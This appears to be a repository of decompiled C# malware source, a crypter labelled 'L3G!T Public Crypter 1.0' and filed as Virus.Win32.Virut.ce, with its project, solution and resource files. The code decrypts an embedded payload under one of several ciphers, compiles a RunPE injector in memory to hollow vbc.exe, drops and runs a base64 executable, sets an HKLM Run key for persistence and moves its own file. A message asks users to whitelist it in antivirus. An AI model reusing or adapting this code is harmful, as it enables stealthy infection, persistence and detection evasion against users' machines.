fjYIWqNzRsrEuPM.roKWNVYxmxtHPPs(fjYIWqNzRsrEuPM.lJwYYoItFcgpqET.Replace("%%40%%", CD.format(fjYIWqNzRsrEuPM.uwffzkjdFvQZybM(str1, str3))).Replace("%%42%%", Application.ExecutablePath));
}
else if (Operators.CompareString(Left1, "RC4", false) == 0)
fjYIWqNzRsrEuPM.roKWNVYxmxtHPPs(fjYIWqNzRsrEuPM.lJwYYoItFcgpqET.Replace("%%40%%", CD.format(fjYIWqNzRsrEuPM.YkqdEiNjkYEcGHU(str1, str3))).Replace("%%42%%", Environment.GetFolderPath(Environment.SpecialFolder.System).Replace("system32", "") + "Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe"));
else if (Operators.CompareString(Left1, "AES", false) == 0)
fjYIWqNzRsrEuPM.roKWNVYxmxtHPPs(fjYIWqNzRsrEuPM.lJwYYoItFcgpqET.Replace("%%40%%", CD.format(fjYIWqNzRsrEuPM.PhCrUkyjFEeSSOb(str1, str3))).Replace("%%42%%", Environment.GetFolderPath(Environment.SpecialFolder.System).Replace("system32", "") + "Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe"));
else if (Operators.CompareString(Left1, "DES", false) == 0)
fjYIWqNzRsrEuPM.roKWNVYxmxtHPPs(fjYIWqNzRsrEuPM.lJwYYoItFcgpqET.Replace("%%40%%", CD.format(fjYIWqNzRsrEuPM.DfrVzRBLTZVYiTu(str1, str3))).Replace("%%42%%", Environment.GetFolderPath(Environment.SpecialFolder.System).Replace("system32", "") + "Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe"));
else if (Operators.CompareString(Left1, "RC2", false) == 0)
fjYIWqNzRsrEuPM.roKWNVYxmxtHPPs(fjYIWqNzRsrEuPM.lJwYYoItFcgpqET.Replace("%%40%%", CD.format(fjYIWqNzRsrEuPM.VhCqeEsmyAGjexn(str1, str3))).Replace("%%42%%", Environment.GetFolderPath(Environment.SpecialFolder.System).Replace("system32", "") + "Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe"));
else if (Operators.CompareString(Left1, "STR", false) == 0)
fjYIWqNzRsrEuPM.roKWNVYxmxtHPPs(fjYIWqNzRsrEuPM.lJwYYoItFcgpqET.Replace("%%40%%", CD.format(fjYIWqNzRsrEuPM.ghWPuuObTVRPWrY(str1, str3))).Replace("%%42%%", Environment.GetFolderPath(Environment.SpecialFolder.System).Replace("system32", "") + "Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe"));
else if (Operators.CompareString(Left1, "XOR", false) == 0)
fjYIWqNzRsrEuPM.roKWNVYxmxtHPPs(fjYIWqNzRsrEuPM.lJwYYoItFcgpqET.Replace("%%40%%", CD.format(fjYIWqNzRsrEuPM.ZHfmltHRHxetfJW(str1, str3))).Replace("%%42%%", Environment.GetFolderPath(Environment.SpecialFolder.System).Replace("system32", "") + "Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe"));
else if (Operators.CompareString(Left1, "TDES", false) == 0)
fjYIWqNzRsrEuPM.roKWNVYxmxtHPPs(fjYIWqNzRsrEuPM.lJwYYoItFcgpqET.Replace("%%40%%", CD.format(fjYIWqNzRsrEuPM.uwffzkjdFvQZybM(str1, str3))).Replace("%%42%%", Environment.GetFolderPath(Environment.SpecialFolder.System).Replace("system32", "") + "Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe"));
if (Operators.CompareString(Left2, "1", false) == 0)
fjYIWqNzRsrEuPM.qfiZEWBAVDVcXYV();
if (Operators.CompareString(Left6, "1", false) == 0)
{
string Left7 = strArray[7];
if (Operators.CompareString(Left7, "", false) == 0)
{
int num1 = (int) Interaction.MsgBox((object) strArray[8], MsgBoxStyle.Critical, (object) strArray[9]);
}
else if (Operators.CompareString(Left7, "Exclamation", false) == 0)
{
int num2 = (int) Interaction.MsgBox((object) strArray[8], MsgBoxStyle.Exclamation, (object) strArray[9]);
}
else if (Operators.CompareString(Left7, "Critical", false) == 0)
{
int num3 = (int) Interaction.MsgBox((object) strArray[8], MsgBoxStyle.Critical, (object) strArray[9]);
}
else if (Operators.CompareString(Left7, "Question", false) == 0)
{
int num4 = (int) Interaction.MsgBox((object) strArray[8], MsgBoxStyle.Question, (object) strArray[9]);
}
else if (Operators.CompareString(Left7, "Information", false) == 0)
{
int num5 = (int) Interaction.MsgBox((object) strArray[8], MsgBoxStyle.Information, (object) strArray[9]);
}
}
if (Operators.CompareString(Left5, "1", false) != 0)
return;
fjYIWqNzRsrEuPM.coFIciVHjFSurZy();
}
public static void mMBTPviKNdprvRd()
{
File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "/temp.exe", Convert.FromBase64String(fjYIWqNzRsrEuPM.yqtchzIOqOKBrSD));
Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "/temp.exe");
}
public static void roKWNVYxmxtHPPs(string source)
{
CompilerResults compilerResults = new VBCodeProvider().CompileAssemblyFromSource(new CompilerParameters()
{
GenerateExecutable = false,
GenerateInMemory = true
}, source);
if (compilerResults.Errors.Count > 0)
return;
compilerResults.CompiledAssembly.GetType("Inject.RunPE").GetMethod("InjectPE").Invoke((object) null, (object[]) null);
}
public static string PhCrUkyjFEeSSOb(string input, string pass)
{
RijndaelManaged rijndaelManaged = new RijndaelManaged();
MD5CryptoServiceProvider cryptoServiceProvider = new MD5CryptoServiceProvider();
string str;
try
{
byte[] destinationArray = new byte[32];
byte[] hash = cryptoServiceProvider.ComputeHash(Encoding.ASCII.GetBytes(pass));
Array.Copy((Array) hash, 0, (Array) destinationArray, 0, 16);
Array.Copy((Array) hash, 0, (Array) destinationArray, 15, 16);
rijndaelManaged.Key = destinationArray;
rijndaelManaged.Mode = CipherMode.ECB;
ICryptoTransform decryptor = rijndaelManaged.CreateDecryptor();
byte[] inputBuffer = Convert.FromBase64String(input);
str = Encoding.ASCII.GetString(decryptor.TransformFinalBlock(inputBuffer, 0, inputBuffer.Length));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
str = "";
ProjectData.ClearProjectError();
}
return str;
}
public static string YkqdEiNjkYEcGHU(string message, string password)
{
message = Encoding.Default.GetString(Convert.FromBase64String(message));
int index1 = 0;
int index2 = 0;
StringBuilder stringBuilder = new StringBuilder();
string empty = string.Empty;
int[] numArray1 = new int[257];
int[] numArray2 = new int[257];
int length = password.Length;
int location1 = 0;
while (location1 <= (int) byte.MaxValue)
{
char String = password.Substring(location1 % length, 1).ToCharArray()[0];
numArray2[location1] = Strings.Asc(String);
numArray1[location1] = location1;
Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1));
}
int index3 = 0;
int location2 = 0;
while (location2 <= (int) byte.MaxValue)
{
index3 = checked (index3 + numArray1[location2] + numArray2[location2]) % 256;
int num = numArray1[location2];
numArray1[location2] = numArray1[index3];
numArray1[index3] = num;
Math.Max(Interlocked.Increment(ref location2), checked (location2 - 1));
}
int location3 = 1;
while (location3 <= message.Length)
{
index1 = checked (index1 + 1) % 256;
index2 = checked (index2 + numArray1[index1]) % 256;
int num1 = numArray1[index1];
numArray1[index1] = numArray1[index2];
numArray1[index2] = num1;
int num2 = numArray1[checked (numArray1[index1] + numArray1[index2]) % 256];
int CharCode = Strings.Asc(message.Substring(checked (location3 - 1), 1).ToCharArray()[0]) ^ num2;
stringBuilder.Append(Strings.Chr(CharCode));
Math.Max(Interlocked.Increment(ref location3), checked (location3 - 1));
}
string str = stringBuilder.ToString();
stringBuilder.Length = 0;
return str;
}
public static string ZHfmltHRHxetfJW(string Input, string pass)
{
StringBuilder stringBuilder = new StringBuilder();
int num = checked (Input.Length - 1);
int startIndex = 0;
while (startIndex <= num)
{
int index;
string str = Conversions.ToString(Strings.Chr(checked ((int) (Conversions.ToLong("&H" + Input.Substring(startIndex, 2)) ^ (long) Strings.Asc(pass[index])))));
stringBuilder.Append(str);
if (index == checked (pass.Length - 1))
index = 0;
else
checked { ++index; }
checked { startIndex += 2; }
}
return stringBuilder.ToString();
}
public static string uwffzkjdFvQZybM(string input, string pass)
{
TripleDESCryptoServiceProvider cryptoServiceProvider1 = new TripleDESCryptoServiceProvider();
MD5CryptoServiceProvider cryptoServiceProvider2 = new MD5CryptoServiceProvider();
string str;
try
{
byte[] destinationArray = new byte[24];
byte[] hash = cryptoServiceProvider2.ComputeHash(Encoding.ASCII.GetBytes(pass));
Array.Copy((Array) hash, 0, (Array) destinationArray, 0, 16);
Array.Copy((Array) hash, 0, (Array) destinationArray, 15, 8);
cryptoServiceProvider1.Key = destinationArray;
cryptoServiceProvider1.Mode = CipherMode.ECB;
ICryptoTransform decryptor = cryptoServiceProvider1.CreateDecryptor();
byte[] inputBuffer = Convert.FromBase64String(input);
str = Encoding.ASCII.GetString(decryptor.TransformFinalBlock(inputBuffer, 0, inputBuffer.Length));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
str = "";
ProjectData.ClearProjectError();
}
return str;
}
public static string ghWPuuObTVRPWrY(string Data, string key) => Encoding.Default.GetString(fjYIWqNzRsrEuPM.ghWPuuObTVRPWrY(Encoding.Default.GetBytes(Data), Encoding.Default.GetBytes(key)));
public static byte[] ghWPuuObTVRPWrY(byte[] Data, byte[] key)
{
int index = checked (Data.Length - 1);
while (index >= 0)
{
Data[index] = checked ((byte) unchecked (checked (((int) Data[index] ^ (int) key[unchecked (index % key.Length)]) - (int) Data[unchecked (checked (index + 1) % Data.Length)] + 256) % 256));
checked { index += -1; }
}
return Data;
}
public static string VhCqeEsmyAGjexn(string input, string pass)
{
RC2CryptoServiceProvider cryptoServiceProvider1 = new RC2CryptoServiceProvider();
MD5CryptoServiceProvider cryptoServiceProvider2 = new MD5CryptoServiceProvider();
string str;
try
{
byte[] hash = cryptoServiceProvider2.ComputeHash(Encoding.ASCII.GetBytes(pass));
cryptoServiceProvider1.Key = hash;
cryptoServiceProvider1.Mode = CipherMode.ECB;
ICryptoTransform decryptor = cryptoServiceProvider1.CreateDecryptor();
byte[] inputBuffer = Convert.FromBase64String(input);
str = Encoding.ASCII.GetString(decryptor.TransformFinalBlock(inputBuffer, 0, inputBuffer.Length));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
str = "";
ProjectData.ClearProjectError();
}
return str;
}
public static string DfrVzRBLTZVYiTu(string input, string pass)
{
DESCryptoServiceProvider cryptoServiceProvider1 = new DESCryptoServiceProvider();
MD5CryptoServiceProvider cryptoServiceProvider2 = new MD5CryptoServiceProvider();
string str;
try
{
byte[] destinationArray = new byte[8];
Array.Copy((Array) cryptoServiceProvider2.ComputeHash(Encoding.ASCII.GetBytes(pass)), 0, (Array) destinationArray, 0, 8);
cryptoServiceProvider1.Key = destinationArray;
cryptoServiceProvider1.Mode = CipherMode.ECB;
ICryptoTransform decryptor = cryptoServiceProvider1.CreateDecryptor();
byte[] inputBuffer = Convert.FromBase64String(input);
str = Encoding.ASCII.GetString(decryptor.TransformFinalBlock(inputBuffer, 0, inputBuffer.Length));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
str = "";
ProjectData.ClearProjectError();
}
return str;
}
public static void qfiZEWBAVDVcXYV()
{
try
{
File.Copy(Application.ExecutablePath, Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\jseEiuRiWjuDNIfRFtRiZFMfRFr.exe");
RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
if (registryKey.GetValue(Application.ProductName) == null)
registryKey.SetValue(Application.ProductName, (object) (Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\jseEiuRiWjuDNIfRFtRiZFMfRFr.exe"));
registryKey.Close();
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
ProjectData.ClearProjectError();
}
}
[DllImport("kernel32", EntryPoint = "GetModuleFileNameA", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern int GetModuleFileName(int hModule, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpFileName, int nSize);
[DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern int ExitProcess(uint uExitCode);
[DllImport("kernel32", EntryPoint = "MoveFileExW", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern int MoveFile([MarshalAs(UnmanagedType.LPTStr), In] string lpExistingFileName, [MarshalAs(UnmanagedType.LPTStr), In] string lpNewFileName, long dwFlags);
public static void coFIciVHjFSurZy()
{
string executablePath1 = Application.ExecutablePath;
string executablePath2 = Application.ExecutablePath;
int moduleFileName = fjYIWqNzRsrEuPM.GetModuleFileName(0, ref executablePath2, 256);
fjYIWqNzRsrEuPM.MoveFile(Strings.Left(executablePath1, moduleFileName), Path.GetTempPath() + "\\tmpG" + DateTime.Now.Millisecond.ToString() + ".tmp", 8L);
fjYIWqNzRsrEuPM.ExitProcess(0U);
}
public static void aXQMuDulpbuaEay()
{
if (NetworkInterface.GetIsNetworkAvailable())
return;
int num = (int) Interaction.MsgBox((object) "You need an Internet Connection to run this programm !", Title: ((object) "Microsoft Windows"));
Environment.Exit(0);
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/AssemblyInfo.cs
+15
View File
@@ -0,0 +1,15 @@
using System.Reflection;
using System.Resources;
using System.Runtime.InteropServices;
[assembly: AssemblyProduct("L3G!T™ Public Crypter 1.0")]
[assembly: AssemblyCompany("L3G!T™")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyTrademark("")]
[assembly: Guid("b1157559-8945-4c7f-bf86-55fab30293a0")]
[assembly: AssemblyCopyright("Copyright © 2011")]
[assembly: AssemblyTitle("L3G!T™ Public Crypter 1.0")]
[assembly: NeutralResourcesLanguage("en")]
[assembly: AssemblyFileVersion("1.0.0.1")]
[assembly: ComVisible(false)]
[assembly: AssemblyVersion("1.0.0.1")]
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/Virus.Win32.Virut.ce.csproj
+62
View File
@@ -0,0 +1,62 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{C8E5BA91-AA6F-4E2A-AC23-606E6098B074}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>L3G!T™ Public Crypter 1.0</AssemblyName>
<ApplicationVersion>1.0.0.1</ApplicationVersion>
<RootNamespace>ऄ࠹</RootNamespace>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="Microsoft.VisualBasic" />
<Reference Include="System" />
<Reference Include="System.Drawing" />
<Reference Include="System.Windows.Forms" />
</ItemGroup>
<ItemGroup>
<Compile Include="_003CModule_003E.cs" />
<Compile Include="_003CPrivateImplementationDetails_003E{FCDEF2F2-8E.cs" />
<Compile Include="ऄ࠹.cs" />
<Compile Include="ऄࡃ.cs" />
<Compile Include="ऄࡂ.cs" />
<Compile Include="ऄࡄ.cs" />
<Compile Include="ऄࡆ.cs" />
<Compile Include="ऄࡅ.cs" />
<Compile Include="ऄࡁ.cs" />
<Compile Include="ऄࡀ.cs" />
<Compile Include="ऄ࠹\ऄࡄ.cs" />
<Compile Include="ऄ࠹\ऄࡃ.cs" />
<Compile Include="ऄ࠹\ऄࡂ.cs" />
<Compile Include="ऄ࠹\ऄࡀ.cs" />
<Compile Include="ऄ࠹\ऄࡁ.cs" />
<Compile Include="ऄ࠹\ऄ࠹\ऄࡀ.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="WindowsApplication1\Resources.resx" />
<EmbeddedResource Include="ऄࡅ.resx" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/Virus.Win32.Virut.ce.sln
+20
View File
@@ -0,0 +1,20 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "L3G!T™ Public Crypter 1.0", "Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f.csproj", "{C8E5BA91-AA6F-4E2A-AC23-606E6098B074}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{C8E5BA91-AA6F-4E2A-AC23-606E6098B074}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{C8E5BA91-AA6F-4E2A-AC23-606E6098B074}.Debug|Any CPU.Build.0 = Debug|Any CPU
{C8E5BA91-AA6F-4E2A-AC23-606E6098B074}.Release|Any CPU.ActiveCfg = Release|Any CPU
{C8E5BA91-AA6F-4E2A-AC23-606E6098B074}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/WindowsApplication1/Resources.resx
+120
View File
@@ -0,0 +1,120 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/_003CModule_003E.cs
+14
View File
@@ -0,0 +1,14 @@
// Decompiled with JetBrains decompiler
// Type: <Module>
// Assembly: L3G!T™ Public Crypter 1.0, Version=1.0.0.1, Culture=neutral, PublicKeyToken=null
// MVID: FCDEF2F2-8E7E-4528-B12E-ED99013B2DCE
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f.exe
internal class \u003CModule\u003E
{
static \u003CModule\u003E()
{
\u003CPrivateImplementationDetails\u003E\u007BFCDEF2F2\u002D8E7E\u002D4528\u002DB12E\u002DED99013B2DCE\u007D.\u0024\u0024method0x600000D\u002D0(false, true);
ऄ\u0839.ऄࡀ();
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/_003CPrivateImplementationDetails_003E{FCDEF2F2-8E.cs
+132
View File
@@ -0,0 +1,132 @@
// Decompiled with JetBrains decompiler
// Type: <PrivateImplementationDetails>{FCDEF2F2-8E7E-4528-B12E-ED99013B2DCE}
// Assembly: L3G!T™ Public Crypter 1.0, Version=1.0.0.1, Culture=neutral, PublicKeyToken=null
// MVID: FCDEF2F2-8E7E-4528-B12E-ED99013B2DCE
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f.exe
using System;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Security;
using System.Windows.Forms;
[StructLayout(LayoutKind.Auto, CharSet = CharSet.Auto)]
internal sealed class \u003CPrivateImplementationDetails\u003E\u007BFCDEF2F2\u002D8E7E\u002D4528\u002DB12E\u002DED99013B2DCE\u007D
{
private static byte \u0024\u0024method0x6000014\u002D0;
private static byte \u0024\u0024method0x6000015\u002D0;
[DllImport("kernel32.dll", EntryPoint = "GetModuleHandle")]
[MethodImpl(MethodImplOptions.NoInlining)]
private static extern IntPtr \u0024\u0024method0x600000B\u002D0(string _param0);
[DllImport("user32", EntryPoint = "CallWindowProcW")]
[MethodImpl(MethodImplOptions.NoInlining)]
private static extern IntPtr \u0024\u0024method0x600000C\u002D0(
[In] ref byte _param0,
IntPtr _param1,
int _param2,
[In, Out] ref byte _param3,
IntPtr _param4);
internal static void \u0024\u0024method0x600000D\u002D0(bool _param0, bool _param1)
{
if (_param1)
{
try
{
\u003CPrivateImplementationDetails\u003E\u007BFCDEF2F2\u002D8E7E\u002D4528\u002DB12E\u002DED99013B2DCE\u007D.\u0024\u0024method0x6000011\u002D0(_param0);
}
catch (SecurityException ex)
{
\u003CPrivateImplementationDetails\u003E\u007BFCDEF2F2\u002D8E7E\u002D4528\u002DB12E\u002DED99013B2DCE\u007D.\u0024\u0024method0x6000010\u002D0("E_FullTrust", (Exception) ex);
throw;
}
}
\u003CPrivateImplementationDetails\u003E\u007BFCDEF2F2\u002D8E7E\u002D4528\u002DB12E\u002DED99013B2DCE\u007D.\u0024\u0024method0x600000E\u002D0();
}
[MethodImpl(MethodImplOptions.NoInlining)]
private static void \u0024\u0024method0x600000E\u002D0();
internal static bool \u0024\u0024method0x600000F\u002D0(string _param0, Exception _param1) => false;
internal static void \u0024\u0024method0x6000010\u002D0(string _param0, Exception _param1)
{
if (\u003CPrivateImplementationDetails\u003E\u007BFCDEF2F2\u002D8E7E\u002D4528\u002DB12E\u002DED99013B2DCE\u007D.\u0024\u0024method0x600000F\u002D0(_param0, _param1))
{
if (Environment.UserInteractive)
Environment.Exit(1);
throw new InvalidOperationException(string.Format("Custom error reporter did not close application for code '{0}'.", (object) _param0));
}
string str = (string) null;
string caption = (string) null;
switch (_param0)
{
case "E_FullTrust":
str = string.Format("The assembly '{0}' requires Full Trust to run properly. Please contact the publisher for instructions on how to enable Full Trust.", (object) Assembly.GetExecutingAssembly());
caption = "Full Trust Required";
break;
case "E_x86Required":
str = "This software was designed for use with 32-bit versions of Windows. Please contact the publisher for a compatible version.";
caption = "32-bit Host Required";
break;
case "E_TamperDetected":
str = "This software is encrypted to provide copy protection. Certain virus scanning programs may prevent the software from starting due to their heuristic analysis. \r\n\r\nPlease add this software to the white-list of the anti-virus program and restart. Contact the software publisher for additional information and compatibility";
caption = "Possible Tampering Detected";
break;
}
if (Environment.UserInteractive)
{
int num = (int) MessageBox.Show((IWin32Window) null, str, caption, MessageBoxButtons.OK, MessageBoxIcon.Hand);
Environment.Exit(1);
}
throw new InvalidOperationException(str, _param1);
}
[SecuritySafeCritical]
internal static void \u0024\u0024method0x6000011\u002D0(bool _param0)
{
IntPtr num = \u003CPrivateImplementationDetails\u003E\u007BFCDEF2F2\u002D8E7E\u002D4528\u002DB12E\u002DED99013B2DCE\u007D.\u0024\u0024method0x600000B\u002D0("kernel32.dll");
lock (typeof (object))
{
if (IntPtr.Size == 8)
\u003CPrivateImplementationDetails\u003E\u007BFCDEF2F2\u002D8E7E\u002D4528\u002DB12E\u002DED99013B2DCE\u007D.\u0024\u0024method0x6000010\u002D0("E_x86Required", (Exception) null);
int int32 = Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().ManifestModule).ToInt32();
try
{
if (\u003CPrivateImplementationDetails\u003E\u007BFCDEF2F2\u002D8E7E\u002D4528\u002DB12E\u002DED99013B2DCE\u007D.\u0024\u0024method0x6000012\u002D0(num.ToInt32(), int32))
return;
Environment.Exit(1);
}
catch (Exception ex1)
{
try
{
if (\u003CPrivateImplementationDetails\u003E\u007BFCDEF2F2\u002D8E7E\u002D4528\u002DB12E\u002DED99013B2DCE\u007D.\u0024\u0024method0x6000012\u002D0(num.ToInt32(), int32))
return;
\u003CPrivateImplementationDetails\u003E\u007BFCDEF2F2\u002D8E7E\u002D4528\u002DB12E\u002DED99013B2DCE\u007D.\u0024\u0024method0x6000010\u002D0("E_TamperDetected", ex1);
}
catch (InvalidOperationException ex2)
{
throw;
}
catch
{
\u003CPrivateImplementationDetails\u003E\u007BFCDEF2F2\u002D8E7E\u002D4528\u002DB12E\u002DED99013B2DCE\u007D.\u0024\u0024method0x6000010\u002D0("E_TamperDetected", ex1);
}
}
}
}
[SecuritySafeCritical]
private static bool \u0024\u0024method0x6000012\u002D0(int _param0, int _param1)
{
